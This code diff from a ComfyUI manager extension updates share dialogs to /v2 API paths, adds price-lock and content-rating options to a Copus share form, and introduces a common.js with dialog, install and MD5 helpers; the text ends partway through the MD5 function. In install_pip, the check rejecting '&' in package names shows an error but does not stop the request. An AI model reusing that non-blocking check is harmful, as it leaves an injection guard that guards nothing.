 		try {
 			// console.log("Fetching comfyworkflows share key")
-			api.fetchApi(`/manager/get_comfyworkflows_auth`)
+			api.fetchApi(`/v2/manager/get_comfyworkflows_auth`)
 				.then(response => response.json())
 				.then(data => {
 					ShareDialog.cw_sharekey = data.comfyworkflows_sharekey;
@@ -824,7 +876,7 @@ export class ShareDialog extends ComfyDialog {
 			if (destinations.includes("matrix")) {
 				let definedMatrixAuth = !!this.matrix_homeserver_input.value && !!this.matrix_username_input.value && !!this.matrix_password_input.value;
 				if (!definedMatrixAuth) {
-					alert("Please set your Matrix account details.");
+					customAlert("Please set your Matrix account details.");
 					return;
 				}
 			}
@@ -841,9 +893,9 @@ export class ShareDialog extends ComfyDialog {
 				if (potential_output_nodes.length === 0) {
 					// todo: add support for other output node types (animatediff combine, etc.)
 					const supported_nodes_string = SUPPORTED_OUTPUT_NODE_TYPES.join(", ");
-					alert(`No supported output node found (${supported_nodes_string}). To share this workflow, please add an output node to your graph and re-run your prompt.`);
+					customAlert(`No supported output node found (${supported_nodes_string}). To share this workflow, please add an output node to your graph and re-run your prompt.`);
 				} else {
-					alert("To share this, first run a prompt. Once it's done, click 'Share'.\n\nNOTE: Images of the Share target can only be selected in the PreviewImage, SaveImage, and VHS_VideoCombine nodes. In the case of VHS_VideoCombine, only the image/gif and image/webp formats are supported.");
+					customAlert("To share this, first run a prompt. Once it's done, click 'Share'.\n\nNOTE: Images of the Share target can only be selected in the PreviewImage, SaveImage, and VHS_VideoCombine nodes. In the case of VHS_VideoCombine, only the image/gif and image/webp formats are supported.");
 				}
 				this.selectedOutputIndex = 0;
 				this.close();
@@ -853,7 +905,7 @@ export class ShareDialog extends ComfyDialog {
 			// Change the text of the share button to "Sharing..." to indicate that the share process has started
 			this.share_button.textContent = "Sharing...";
 
-			const response = await api.fetchApi(`/manager/share`, {
+			const response = await api.fetchApi(`/v2/manager/share`, {
 				method: 'POST',
 				headers: { 'Content-Type': 'application/json' },
 				body: JSON.stringify({
@@ -881,16 +933,16 @@ export class ShareDialog extends ComfyDialog {
 				try {
 					const response_json = await response.json();
 					if (response_json.error) {
-						alert(response_json.error);
+						customAlert(response_json.error);
 						this.close();
 						return;
 					} else {
-						alert("Failed to share your art. Please try again.");
+						customAlert("Failed to share your art. Please try again.");
 						this.close();
 						return;
 					}
 				} catch (e) {
-					alert("Failed to share your art. Please try again.");
+					customAlert("Failed to share your art. Please try again.");
 					this.close();
 					return;
 				}

comfyui_manager/js/comfyui-share-copus.js

@@ -1,13 +1,15 @@
 import { app } from "../../scripts/app.js";
 import { $el, ComfyDialog } from "../../scripts/ui.js";
+import { customAlert } from "./common.js";
+
 const env = "prod";
 
 let DEFAULT_HOMEPAGE_URL = "https://copus.io";
 
-let API_ENDPOINT = "https://api.client.prod.copus.io/copus-client";
+let API_ENDPOINT = "https://api.client.prod.copus.io";
 
 if (env !== "prod") {
-  API_ENDPOINT = "https://api.dev.copus.io/copus-client";
+  API_ENDPOINT = "https://api.test.copus.io";
   DEFAULT_HOMEPAGE_URL = "https://test.copus.io";
 }
 
@@ -61,6 +63,7 @@ export class CopusShareDialog extends ComfyDialog {
       [$el("div.comfy-modal-content", {}, [...this.createButtons()])]
     );
     this.selectedOutputIndex = 0;
+    this.selectedOutput_lock = 0;
     this.selectedNodeId = null;
     this.uploadedImages = [];
     this.allFilesImages = [];
@@ -68,7 +71,7 @@ export class CopusShareDialog extends ComfyDialog {
     this.allFiles = [];
     this.titleNum = 0;
   }
-  
+
   createButtons() {
     const inputStyle = {
       display: "block",
@@ -190,10 +193,38 @@ export class CopusShareDialog extends ComfyDialog {
       type: "text",
       placeholder: "Subtitle (Optional)",
       style: inputStyle,
-      maxLength: "70",
+      maxLength: "350",
       oninput: () => {
         const titleNum = this.SubTitleInput.value.length;
-        subTitleNumDom.textContent = `${titleNum}/70`;
+        subTitleNumDom.textContent = `${titleNum}/350`;
+      },
+    });
+    this.LockInput = $el("input", {
+      type: "text",
+      placeholder: "0",
+      style: {
+        width: "100px",
+        padding: "7px",
+        paddingLeft: "30px",
+        borderRadius: "4px",
+        border: "1px solid #ddd",
+        boxSizing: "border-box",
+        position: "relative",
+      },
+      oninput: (event) => {
+        let input = event.target.value;
+        // Use a regular expression to match a number with up to two decimal places
+        const regex = /^\d*\.?\d{0,2}$/;
+        if (!regex.test(input)) {
+          // If the input doesn't match, remove the last entered character
+          event.target.value = input.slice(0, -1);
+        }
+        const numericValue = parseFloat(input);
+        if (numericValue > 9999) {
+          input = "9999";
+        }
+        // Update the input field with the valid value
+        event.target.value = input;
       },
     });
     this.descriptionInput = $el("textarea", {
@@ -272,7 +303,7 @@ export class CopusShareDialog extends ComfyDialog {
       },
       []
     );
-    
+
     const titleNumDom = $el(
       "label",
       {
@@ -297,7 +328,7 @@ export class CopusShareDialog extends ComfyDialog {
           color: "#999",
         },
       },
-      ["0/70"]
+      ["0/350"]
     );
     const descriptionNumDom = $el(
       "label",
@@ -313,15 +344,11 @@ export class CopusShareDialog extends ComfyDialog {
       ["0/70"]
     );
     // Additional Inputs Section
-    const additionalInputsSection = $el(
-      "div",
-      { style: { ...sectionStyle,  } },
-      [
-        $el("label", { style: labelStyle }, ["3️⃣ Title "]),
-        this.TitleInput,
-        titleNumDom,
-      ]
-    );
+    const additionalInputsSection = $el("div", { style: { ...sectionStyle } }, [
+      $el("label", { style: labelStyle }, ["3️⃣ Title "]),
+      this.TitleInput,
+      titleNumDom,
+    ]);
     const SubtitleSection = $el("div", { style: sectionStyle }, [
       $el("label", { style: labelStyle }, ["4️⃣ Subtitle "]),
       this.SubTitleInput,
@@ -333,6 +360,101 @@ export class CopusShareDialog extends ComfyDialog {
       // descriptionNumDom,
     ]);
     // switch  between outputs section and additional inputs section
+    this.radioButtons_lock = [];
+
+    this.radioButtonsCheck_lock = $el("input", {
+      type: "radio",
+      name: "output_type_lock",
+      value: "0",
+      id: "blockchain1_lock",
+      checked: true,
+    });
+    this.radioButtonsCheckOff_lock = $el("input", {
+      type: "radio",
+      name: "output_type_lock",
+      value: "1",
+      id: "blockchain_lock",
+    });
+
+    const blockChainSection_lock = $el("div", { style: sectionStyle }, [
+      $el("label", { style: labelStyle }, ["6️⃣ Download threshold"]),
+      $el(
+        "label",
+        {
+          style: {
+            marginTop: "10px",
+            display: "flex",
+            alignItems: "center",
+            cursor: "pointer",
+          },
+        },
+        [
+          this.radioButtonsCheck_lock,
+          $el(
+            "div",
+            {
+              style: {
+                marginLeft: "5px",
+                display: "flex",
+                alignItems: "center",
+                position: "relative",
+              },
+            },
+            [
+              $el("span", { style: { marginLeft: "5px" } }, ["ON"]),
+              $el(
+                "span",
+                {
+                  style: {
+                    marginLeft: "20px",
+                    marginRight: "10px",
+                    color: "#fff",
+                  },
+                },
+                ["Unlock with"]
+              ),
+              $el("img", {
+                style: {
+                  width: "16px",
+                  height: "16px",
+                  position: "absolute",
+                  right: "75px",
+                  zIndex: "100",
+                },
+                src: "https://static.copus.io/images/admin/202507/prod/e2919a1d8f3c2d99d3b8fe27ff94b841.png",
+              }),
+              this.LockInput,
+            ]
+          ),
+        ]
+      ),
+      $el(
+        "label",
+        { style: { display: "flex", alignItems: "center", cursor: "pointer" } },
+        [
+          this.radioButtonsCheckOff_lock,
+          $el(
+            "div",
+            {
+              style: {
+                marginLeft: "5px",
+                display: "flex",
+                alignItems: "center",
+              },
+            },
+            [$el("span", { style: { marginLeft: "5px" } }, ["OFF"])]
+          ),
+        ]
+      ),
+
+      $el(
+        "p",
+        { style: { fontSize: "16px", color: "#fff", margin: "10px 0 0 0" } },
+        [
+        ]
+      ),
+    ]);
+
     this.radioButtons = [];
 
     this.radioButtonsCheck = $el("input", {
@@ -350,7 +472,7 @@ export class CopusShareDialog extends ComfyDialog {
     });
 
     const blockChainSection = $el("div", { style: sectionStyle }, [
-      $el("label", { style: labelStyle }, ["6️⃣ Store on blockchain "]),
+      $el("label", { style: labelStyle }, ["8️⃣ Store on blockchain "]),
       $el(
         "label",
         {
@@ -380,6 +502,141 @@ export class CopusShareDialog extends ComfyDialog {
         ["Secure ownership with a permanent & decentralized storage"]
       ),
     ]);
+
+    this.ratingRadioButtonsCheck0 = $el("input", {
+      type: "radio",
+      name: "content_rating",
+      value: "0",
+      id: "content_rating0",
+    });
+    this.ratingRadioButtonsCheck1 = $el("input", {
+      type: "radio",
+      name: "content_rating",
+      value: "1",
+      id: "content_rating1",
+    });
+    this.ratingRadioButtonsCheck2 = $el("input", {
+      type: "radio",
+      name: "content_rating",
+      value: "2",
+      id: "content_rating2",
+    });
+    this.ratingRadioButtonsCheck_1 = $el("input", {
+      type: "radio",
+      name: "content_rating",
+      value: "-1",
+      id: "content_rating_1",
+      checked: true,
+    });
+
+    // content rating
+    const contentRatingSection = $el("div", { style: sectionStyle }, [
+      $el("label", { style: labelStyle }, ["7️⃣ Content rating "]),
+      $el(
+        "label",
+        {
+          style: {
+            marginTop: "10px",
+            display: "flex",
+            alignItems: "center",
+            cursor: "pointer",
+          },
+        },
+        [
+          this.ratingRadioButtonsCheck0,
+          $el("img", {
+            style: {
+              width: "12px",
+              height: "12px",
+              marginLeft: "5px",
+            },
+            src: "https://static.copus.io/images/client/202507/test/b9f17da83b054d53cd0cb4508c2c30dc.png",
+          }),
+          $el("span", { style: { marginLeft: "5px", color: "#fff" } }, [
+            "All ages",
+          ]),
+        ]
+      ),
+      $el(
+        "p",
+        { style: { fontSize: "10px", color: "#fff", marginLeft: "20px" } },
+        ["Safe for all viewers; no profanity, violence, or mature themes."]
+      ),
+      $el(
+        "label",
+        { style: { display: "flex", alignItems: "center", cursor: "pointer" } },
+        [
+          this.ratingRadioButtonsCheck1,
+          $el("img", {
+            style: {
+              width: "12px",
+              height: "12px",
+              marginLeft: "5px",
+            },
+            src: "https://static.copus.io/images/client/202507/test/7848bc0d3690671df21c7cf00c4cfc81.png",
+          }),
+          $el("span", { style: { marginLeft: "5px", color: "#fff" } }, [
+            "13+ (Teen)",
+          ]),
+        ]
+      ),
+      $el(
+        "p",
+        { style: { fontSize: "10px", color: "#fff", marginLeft: "20px" } },
+        [
+          "Mild language, light themes, or cartoon violence; no explicit content. ",
+        ]
+      ),
+      $el(
+        "label",
+        { style: { display: "flex", alignItems: "center", cursor: "pointer" } },
+        [
+          this.ratingRadioButtonsCheck2,
+          $el("img", {
+            style: {
+              width: "12px",
+              height: "12px",
+              marginLeft: "5px",
+            },
+            src: "https://static.copus.io/images/client/202507/test/bc51839c208d68d91173e43c23bff039.png",
+          }),
+          $el("span", { style: { marginLeft: "5px", color: "#fff" } }, [
+            "18+ (Explicit)",
+          ]),
+        ]
+      ),
+      $el(
+        "p",
+        { style: { fontSize: "10px", color: "#fff", marginLeft: "20px" } },
+        [
+          "Explicit content, including sexual content, strong violence, or intense themes. ",
+        ]
+      ),
+      $el(
+        "label",
+        { style: { display: "flex", alignItems: "center", cursor: "pointer" } },
+        [
+          this.ratingRadioButtonsCheck_1,
+          $el("img", {
+            style: {
+              width: "12px",
+              height: "12px",
+              marginLeft: "5px",
+            },
+            src: "https://static.copus.io/images/client/202507/test/5c802fdcaaea4e7bbed37393eec0d5ba.png",
+          }),
+          $el("span", { style: { marginLeft: "5px", color: "#fff" } }, [
+            "Not Rated",
+          ]),
+        ]
+      ),
+      $el(
+        "p",
+        { style: { fontSize: "10px", color: "#fff", marginLeft: "20px" } },
+        ["No age rating provided."]
+      ),
+    ]);
+
     // Message Section
     this.message = $el(
       "div",
@@ -441,6 +698,8 @@ export class CopusShareDialog extends ComfyDialog {
       SubtitleSection,
       DescriptionSection,
       // contestSection,
+      blockChainSection_lock,
+      contentRatingSection,
       blockChainSection,
       this.message,
       buttonsSection,
@@ -449,7 +708,7 @@ export class CopusShareDialog extends ComfyDialog {
     return layout;
   }
   /**
-   * api 
+   * api
    * @param {url} path
    * @param {params} options
    * @param {statusText} statusText
@@ -502,7 +761,9 @@ export class CopusShareDialog extends ComfyDialog {
           url: data,
         });
       } else {
-        throw new Error("make sure your API key is correct and try again later");
+        throw new Error(
+          "make sure your API key is correct and try again later"
+        );
       }
     } catch (e) {
       if (e?.response?.status === 413) {
@@ -520,7 +781,7 @@ export class CopusShareDialog extends ComfyDialog {
       this.shareButton.textContent = "Sharing...";
       await this.share();
     } catch (e) {
-      alert(e.message);
+      customAlert(e.message);
     }
     this.shareButton.disabled = false;
     this.shareButton.textContent = "Share";
@@ -543,6 +804,15 @@ export class CopusShareDialog extends ComfyDialog {
       subTitle: this.SubTitleInput.value,
       content: this.descriptionInput.value,
       storeOnChain: this.radioButtonsCheck.checked ? true : false,
+      lockState: this.radioButtonsCheck_lock.checked ? 2 : 0,
+      unlockPrice: this.LockInput.value,
+      rating: this.ratingRadioButtonsCheck0.checked
+        ? 0
+        : this.ratingRadioButtonsCheck1.checked
+        ? 1
+        : this.ratingRadioButtonsCheck2.checked
+        ? 2
+        : -1,
     };
 
     if (!this.keyInput.value) {
@@ -557,6 +827,12 @@ export class CopusShareDialog extends ComfyDialog {
       throw new Error("Title is required");
     }
 
+    if (this.radioButtonsCheck_lock.checked) {
+      if (!this.LockInput.value) {
+        throw new Error("Price is required");
+      }
+    }
+
     if (!this.uploadedImages.length) {
       if (this.selectedFile) {
         await this.uploadThumbnail(this.selectedFile);
@@ -602,23 +878,23 @@ export class CopusShareDialog extends ComfyDialog {
         "Uploading workflow..."
       );
 
-     if (res.status && res.data.status && res.data) {
-      localStorage.setItem("copus_token",this.keyInput.value);
-       const { data } = res.data;
-       if (data) {
-         const url = `${DEFAULT_HOMEPAGE_URL}/work/${data}`;
-         this.message.innerHTML = `Workflow has been shared successfully. <a href="${url}" target="_blank">Click here to view it.</a>`;
-         this.previewImage.src = "";
-         this.previewImage.style.display = "none";
-         this.uploadedImages = [];
-         this.allFilesImages = [];
-         this.allFiles = [];
-         this.TitleInput.value = "";
-         this.SubTitleInput.value = "";
-         this.descriptionInput.value = "";
-         this.selectedFile = null;
-       }
-     }
+      if (res.status && res.data.status && res.data) {
+        localStorage.setItem("copus_token", this.keyInput.value);
+        const { data } = res.data;
+        if (data) {
+          const url = `${DEFAULT_HOMEPAGE_URL}/work/${data}`;
+          this.message.innerHTML = `Workflow has been shared successfully. <a href="${url}" target="_blank">Click here to view it.</a>`;
+          this.previewImage.src = "";
+          this.previewImage.style.display = "none";
+          this.uploadedImages = [];
+          this.allFilesImages = [];
+          this.allFiles = [];
+          this.TitleInput.value = "";
+          this.SubTitleInput.value = "";
+          this.descriptionInput.value = "";
+          this.selectedFile = null;
+        }
+      }
     } catch (e) {
       throw new Error("Error sharing workflow: " + e.message);
     }
@@ -664,7 +940,7 @@ export class CopusShareDialog extends ComfyDialog {
     this.element.style.display = "block";
     this.previewImage.src = "";
     this.previewImage.style.display = "none";
-    this.keyInput.value = apiToken!=null?apiToken:"";
+    this.keyInput.value = apiToken != null ? apiToken : "";
     this.uploadedImages = [];
     this.allFilesImages = [];
     this.allFiles = [];

comfyui_manager/js/comfyui-share-openart.js

@@ -1,6 +1,7 @@
 import {app} from "../../scripts/app.js";
 import {api} from "../../scripts/api.js";
 import {ComfyDialog, $el} from "../../scripts/ui.js";
+import { customAlert } from "./common.js";
 
 const LOCAL_STORAGE_KEY = "openart_comfy_workflow_key";
 const DEFAULT_HOMEPAGE_URL = "https://openart.ai/workflows/dev?developer=true";
@@ -66,7 +67,7 @@ export class OpenArtShareDialog extends ComfyDialog {
   async readKey() {
     let key = ""
     try {
-      key = await api.fetchApi(`/manager/get_openart_auth`)
+      key = await api.fetchApi(`/v2/manager/get_openart_auth`)
         .then(response => response.json())
         .then(data => {
           return data.openart_key;
@@ -81,7 +82,7 @@ export class OpenArtShareDialog extends ComfyDialog {
   }
 
   async saveKey(value) {
-    await api.fetchApi(`/manager/set_openart_auth`, {
+    await api.fetchApi(`/v2/manager/set_openart_auth`, {
       method: 'POST',
       headers: {'Content-Type': 'application/json'},
       body: JSON.stringify({
@@ -398,7 +399,7 @@ export class OpenArtShareDialog extends ComfyDialog {
     form.append("file", uploadFile);
     try {
       const res = await this.fetchApi(
-        `/workflows/upload_thumbnail`,
+        `/v2/workflows/upload_thumbnail`,
         {
           method: "POST",
           body: form,
@@ -431,7 +432,7 @@ export class OpenArtShareDialog extends ComfyDialog {
       this.shareButton.textContent = "Sharing...";
       await this.share();
     } catch (e) {
-      alert(e.message);
+      customAlert(e.message);
     }
     this.shareButton.disabled = false;
     this.shareButton.textContent = "Share";
@@ -458,7 +459,7 @@ export class OpenArtShareDialog extends ComfyDialog {
       throw new Error("Title is required");
     }
 
-    const current_snapshot = await api.fetchApi(`/snapshot/get_current`)
+    const current_snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
       .then(response => response.json())
       .catch(error => {
         // console.log(error);
@@ -488,7 +489,7 @@ export class OpenArtShareDialog extends ComfyDialog {
 
     try {
       const response = await this.fetchApi(
-        "/workflows/publish",
+        "/v2/workflows/publish",
         {
           method: "POST",
           headers: {"Content-Type": "application/json"},

comfyui_manager/js/comfyui-share-youml.js

@@ -1,6 +1,7 @@
 import {app} from "../../scripts/app.js";
 import {api} from "../../scripts/api.js";
 import {ComfyDialog, $el} from "../../scripts/ui.js";
+import { customAlert } from "./common.js";
 
 const BASE_URL = "https://youml.com";
 //const BASE_URL = "http://localhost:3000";
@@ -178,7 +179,7 @@ export class YouMLShareDialog extends ComfyDialog {
   async loadToken() {
     let key = ""
     try {
-      const response = await api.fetchApi(`/manager/youml/settings`)
+      const response = await api.fetchApi(`/v2/manager/youml/settings`)
       const settings = await response.json()
       return settings.token
     } catch (error) {
@@ -187,7 +188,7 @@ export class YouMLShareDialog extends ComfyDialog {
   }
 
   async saveToken(value) {
-    await api.fetchApi(`/manager/youml/settings`, {
+    await api.fetchApi(`/v2/manager/youml/settings`, {
       method: 'POST',
       headers: {'Content-Type': 'application/json'},
       body: JSON.stringify({
@@ -347,7 +348,7 @@ export class YouMLShareDialog extends ComfyDialog {
       this.shareButton.textContent = "Sharing...";
       await this.share();
     } catch (e) {
-      alert(e.message);
+      customAlert(e.message);
     } finally {
       this.shareButton.disabled = false;
       this.shareButton.textContent = "Share";
@@ -379,7 +380,7 @@ export class YouMLShareDialog extends ComfyDialog {
     try {
       let snapshotData = null;
       try {
-        const snapshot = await api.fetchApi(`/snapshot/get_current`)
+        const snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
         snapshotData = await snapshot.json()
       } catch (e) {
         console.error("Failed to get snapshot", e)

comfyui_manager/js/common.js

@@ -0,0 +1,662 @@
+import { app } from "../../scripts/app.js";
+import { api } from "../../scripts/api.js";
+import { $el, ComfyDialog } from "../../scripts/ui.js";
+import { getBestPosition, getPositionStyle, getRect } from './popover-helper.js';
+
+
+function internalCustomConfirm(message, confirmMessage, cancelMessage) {
+	return new Promise((resolve) => {
+		// transparent bg
+		const modalOverlay = document.createElement('div');
+		modalOverlay.style.position = 'fixed';
+		modalOverlay.style.top = 0;
+		modalOverlay.style.left = 0;
+		modalOverlay.style.width = '100%';
+		modalOverlay.style.height = '100%';
+		modalOverlay.style.backgroundColor = 'rgba(0, 0, 0, 0.8)';
+		modalOverlay.style.display = 'flex';
+		modalOverlay.style.alignItems = 'center';
+		modalOverlay.style.justifyContent = 'center';
+		modalOverlay.style.zIndex = '1101';
+
+		// Modal window container (dark bg)
+		const modalDialog = document.createElement('div');
+		modalDialog.style.backgroundColor = '#333';
+		modalDialog.style.padding = '20px';
+		modalDialog.style.borderRadius = '4px';
+		modalDialog.style.maxWidth = '400px';
+		modalDialog.style.width = '80%';
+		modalDialog.style.boxShadow = '0 2px 8px rgba(0, 0, 0, 0.5)';
+		modalDialog.style.color = '#fff';
+
+		// Display message
+		const modalMessage = document.createElement('p');
+		modalMessage.textContent = message;
+		modalMessage.style.margin = '0';
+		modalMessage.style.padding = '0 0 20px';
+		modalMessage.style.wordBreak = 'keep-all';
+
+		// Button container
+		const modalButtons = document.createElement('div');
+		modalButtons.style.display = 'flex';
+		modalButtons.style.justifyContent = 'flex-end';
+
+		// Confirm button (green)
+		const confirmButton = document.createElement('button');
+		if(confirmMessage)
+			confirmButton.textContent = confirmMessage;
+		else
+			confirmButton.textContent = 'Confirm';
+		confirmButton.style.marginLeft = '10px';
+		confirmButton.style.backgroundColor = '#28a745'; // green
+		confirmButton.style.color = '#fff';
+		confirmButton.style.border = 'none';
+		confirmButton.style.padding = '6px 12px';
+		confirmButton.style.borderRadius = '4px';
+		confirmButton.style.cursor = 'pointer';
+		confirmButton.style.fontWeight = 'bold';
+
+		// Cancel button (red)
+		const cancelButton = document.createElement('button');
+		if(cancelMessage)
+			cancelButton.textContent = cancelMessage;
+		else
+			cancelButton.textContent = 'Cancel';
+
+		cancelButton.style.marginLeft = '10px';
+		cancelButton.style.backgroundColor = '#dc3545'; // red
+		cancelButton.style.color = '#fff';
+		cancelButton.style.border = 'none';
+		cancelButton.style.padding = '6px 12px';
+		cancelButton.style.borderRadius = '4px';
+		cancelButton.style.cursor = 'pointer';
+		cancelButton.style.fontWeight = 'bold';
+
+		const closeModal = () => {
+			document.body.removeChild(modalOverlay);
+		};
+
+		confirmButton.addEventListener('click', () => {
+			closeModal();
+			resolve(true);
+		});
+
+		cancelButton.addEventListener('click', () => {
+			closeModal();
+			resolve(false);
+		});
+
+		modalButtons.appendChild(confirmButton);
+		modalButtons.appendChild(cancelButton);
+		modalDialog.appendChild(modalMessage);
+		modalDialog.appendChild(modalButtons);
+		modalOverlay.appendChild(modalDialog);
+		document.body.appendChild(modalOverlay);
+	});
+}
+
+export function show_message(msg) {
+	app.ui.dialog.show(msg);
+	app.ui.dialog.element.style.zIndex = 1100;
+}
+
+export async function sleep(ms) {
+	return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+export async function customConfirm(message) {
+	try {
+		let res = await
+			window['app'].extensionManager.dialog
+			.confirm({
+				title: 'Confirm',
+				message: message
+			});
+
+		return res;
+	}
+	catch {
+		let res = await internalCustomConfirm(message);
+		return res;
+	}
+}
+
+
+export function customAlert(message) {
+	try {
+		window['app'].extensionManager.toast.addAlert(message);
+	}
+	catch {
+		alert(message);
+	}
+}
+
+export function infoToast(summary, message) {
+	try {
+		app.extensionManager.toast.add({
+			severity: 'info',
+			summary: summary,
+			detail: message,
+			life: 3000
+		})
+	}
+	catch {
+		// do nothing
+	}
+}
+
+
+export async function customPrompt(title, message) {
+	try {
+		let res = await
+				window['app'].extensionManager.dialog
+				.prompt({
+					title: title,
+					message: message
+				});
+
+		return res;
+	}
+	catch {
+		return prompt(title, message)
+	}
+}
+
+
+export function rebootAPI() {
+	if ('electronAPI' in window) {
+			window.electronAPI.restartApp();
+			return true;
+	}
+
+	customConfirm("Are you sure you'd like to reboot the server?").then((isConfirmed) => {
+		if (isConfirmed) {
+			try {
+				api.fetchApi("/v2/manager/reboot", { method: 'POST' });
+			}
+			catch(exception) {}
+		}
+	});
+
+	return false;
+}
+
+
+export var manager_instance = null;
+
+export function setManagerInstance(obj) {
+	manager_instance = obj;
+}
+
+export function showToast(message, duration = 3000) {
+	const toast = $el("div.comfy-toast", {textContent: message});
+	document.body.appendChild(toast);
+	setTimeout(() => {
+		toast.classList.add("comfy-toast-fadeout");
+		setTimeout(() => toast.remove(), 500);
+	}, duration);
+}
+
+function isValidURL(url) {
+	if(url.includes('&'))
+		return false;
+
+	const http_pattern = /^(https?|ftp):\/\/[^\s$?#]+$/;
+	const ssh_pattern = /^(.+@|ssh:\/\/).+:.+$/;
+	return http_pattern.test(url) || ssh_pattern.test(url);
+}
+
+export async function install_pip(packages) {
+	if(packages.includes('&'))
+		app.ui.dialog.show(`Invalid PIP package enumeration: '${packages}'`);
+
+	const res = await api.fetchApi("/v2/customnode/install/pip", {
+		method: "POST",
+		body: packages,
+	});
+
+	if(res.status == 403) {
+		show_message("To use this feature, set <code>allow_pip_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required.");
+		return;
+	}
+
+	if(res.status == 200) {
+		show_message(`PIP package installation is processed.<br>To apply the pip packages, please click the <button id='cm-reboot-button3'><font size='3px'>RESTART</font></button> button in ComfyUI.`);
+
+		const rebootButton = document.getElementById('cm-reboot-button3');
+		const self = this;
+
+		rebootButton.addEventListener("click", rebootAPI);
+	}
+	else {
+		show_message(`Failed to install '${packages}'<BR>See terminal log.`);
+	}
+}
+
+export async function install_via_git_url(url, manager_dialog) {
+	if(!url) {
+		return;
+	}
+
+	if(!isValidURL(url)) {
+		show_message(`Invalid Git url '${url}'`);
+		return;
+	}
+
+	show_message(`Wait...<BR><BR>Installing '${url}'`);
+
+	const res = await api.fetchApi("/v2/customnode/install/git_url", {
+		method: "POST",
+		body: url,
+	});
+
+	if(res.status == 403) {
+		show_message("To use this feature, set <code>allow_git_url_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required.");
+		return;
+	}
+
+	if(res.status == 200) {
+		show_message(`'${url}' is installed<BR>To apply the installed custom node, please <button id='cm-reboot-button4'><font size='3px'>RESTART</font></button> ComfyUI.`);
+
+		const rebootButton = document.getElementById('cm-reboot-button4');
+		const self = this;
+
+		rebootButton.addEventListener("click",
+			function() {
+				if(rebootAPI()) {
+					manager_dialog.close();
+				}
+			});
+	}
+	else {
+		show_message(`Failed to install '${url}'<BR>See terminal log.`);
+	}
+}
+
+export async function free_models(free_execution_cache) {
+	try {
+		let mode = "";
+		if(free_execution_cache) {
+			mode = '{"unload_models": true, "free_memory": true}';
+		}
+		else {
+			mode = '{"unload_models": true}';
+		}
+
+		let res = await api.fetchApi(`/free`, {
+			method: 'POST',
+			headers: { 'Content-Type': 'application/json' },
+			body: mode
+		});
+
+		if (res.status == 200) {
+			if(free_execution_cache) {
+				showToast("'Models' and 'Execution Cache' have been cleared.", 3000);
+			}
+			else {
+				showToast("Models' have been unloaded.", 3000);
+			}
+		} else {
+			showToast('Unloading of models failed. Installed ComfyUI may be an outdated version.', 5000);
+		}
+	} catch (error) {
+		showToast('An error occurred while trying to unload models.', 5000);
+	}
+}
+
+export function md5(inputString) {
+	const hc = '0123456789abcdef';
+	const rh = n => {let j,s='';for(j=0;j<=3;j++) s+=hc.charAt((n>>(j*8+4))&0x0F)+hc.charAt((n>>(j*8))&0x0F);return s;}
+	const ad = (x,y) => {let l=(x&0xFFFF)+(y&0xFFFF);let m=(x>>16)+(y>>16)+(l>>16);return (m<<16)|(l&0xFFFF);}
+	const rl = (n,c) => (n<<c)|(n>>>(32-c));
+	const cm = (q,a,b,x,s,t) => ad(rl(ad(ad(a,q),ad(x,t)),s),b);
+	const ff = (a,b,c,d,x,s,t) => cm((b&c)|((~b)&d),a,b,x,s,t);
+	const gg = (a,b,c,d,x,s,t) => cm((b&d)|(c&(~d)),a,b,x,s,t);
+	const hh = (a,b,c,d,x,s,t) => cm(b^c^d,a,b,x,s,t);
+	const ii = (a,b,c,d,x,s,t) => cm(c^(b|(~d)),a,b,x,s,t);
+	const sb = x => {
+	let i;const nblk=((x.length+8)>>6)+1;const blks=[];for(i=0;i<nblk*16;i++) { blks[i]=0 };
+	for(i=0;i<x.length;i++) {blks[i>>2]|=x.charCodeAt(i)<<((i%4)*8);}
+		blks[i>>2]|=0x80<<((i%4)*8);blks[nblk*16-2]=x.length*8;return blks;
+	}
+	let i,x=sb(inputString),a=1732584193,b=-271733879,c=-1732584194,d=271733878,olda,oldb,oldc,oldd;
+	for(i=0;i<x.length;i+=16) {olda=a;oldb=b;oldc=c;oldd=d;
+		a=ff(a,b,c,d,x[i+ 0], 7, -680876936);d=ff(d,a,b,c,x[i+ 1],12, -389564586);c=ff(c,d,a,b,x[i+ 2],17,  606105819);
+		b=ff(b,c,d,a,x[i+ 3],22,-1044525330);a=ff(a,b,c,d,x[i+ 4], 7, -176418897);d=ff(d,a,b,c,x[i+ 5],12, 1200080426);
+		c=ff(c,d,a,b,x[i+ 6],17,-1473231341);b=ff(b,c,d,a,x[i+ 7],22,  -45705983);a=ff(a,b,c,d,x[i+ 8], 7, 1770035416);
+		d=ff(d,a,b,c,x[i+ 9],12,-1958414417);c=ff(c,d,a,b,x[i+10],17,     -42063);b=ff(b,c,d,a,x[i+11],22,-1990404162);
+		a=ff(a,b,c,d,x[i+12], 7, 1804603682);d=ff(d,a,b,c,x[i+13],12,  -40341101);c=ff(c,d,a,b,x[i+14],17,-1502002290);
+		b=ff(b,c,d,a,x[i+15],22, 1236535329);a=gg(a,b,c,d,x[i+ 1], 5, -165796510);d=gg(d,a,b,c,x[i+ 6], 9,-1069501632);
+		c=gg(c,d,a,b,x[i+11],14,  643717713);b=gg(b,c,d,a,x[i+ 0],20, -373897302);a=gg(a,b,c,d,x[i+ 5], 5, -701558691);
+		d=gg(d,a,b,c,x[i+10], 9,   38016083);c=gg(c,d,a,b,x[i+15],14, -660478335);b=gg(b,c,d,a,x[i+ 4],20, -405537848);
+		a=gg(a,b,c,d,x[i+ 9], 5,  568446438);d=gg(d,a,b,c,x[i+14], 9,-1019803690);c=gg(c,d,a,b,x[i+ 3],14, -187363961);
+		b=gg(b,c,d,a,x[i+ 8],20, 1163531501);a=gg(a,b,c,d,x[i+13], 5,-1444681467);d=gg(d,a,b,c,x[i+ 2], 9,  -51403784);
+		c=gg(c,d,a,b,x[i+ 7],14, 1735328473);b=gg(b,c,d,a,x[i+12],20,-1926607734);a=hh(a,b,c,d,x[i+ 5], 4,    -378558);
+		d=hh(d,a,b,c,x[i+ 8],11,-2022574463);c=hh(c,d,a,b,x[i+11],16, 1839030562);b=hh(b,c,d,a,x[i+14],23,  -35309556);
